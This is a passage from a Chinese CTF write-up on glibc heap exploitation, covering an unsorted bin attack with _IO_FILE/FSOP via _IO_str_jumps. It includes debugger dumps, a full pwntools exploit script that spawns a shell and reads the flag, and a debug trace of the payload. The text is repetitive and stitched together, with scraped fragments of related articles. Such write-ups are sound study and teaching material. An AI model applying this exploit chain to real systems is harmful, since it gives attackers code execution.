7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段
可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段
0x5555557560d0
fake chunk
0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下:
我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510)
0x61
BK
_IO_list_all-0x10
0x00007ffff7dd2510
再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下:
Unsortedbin
victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = 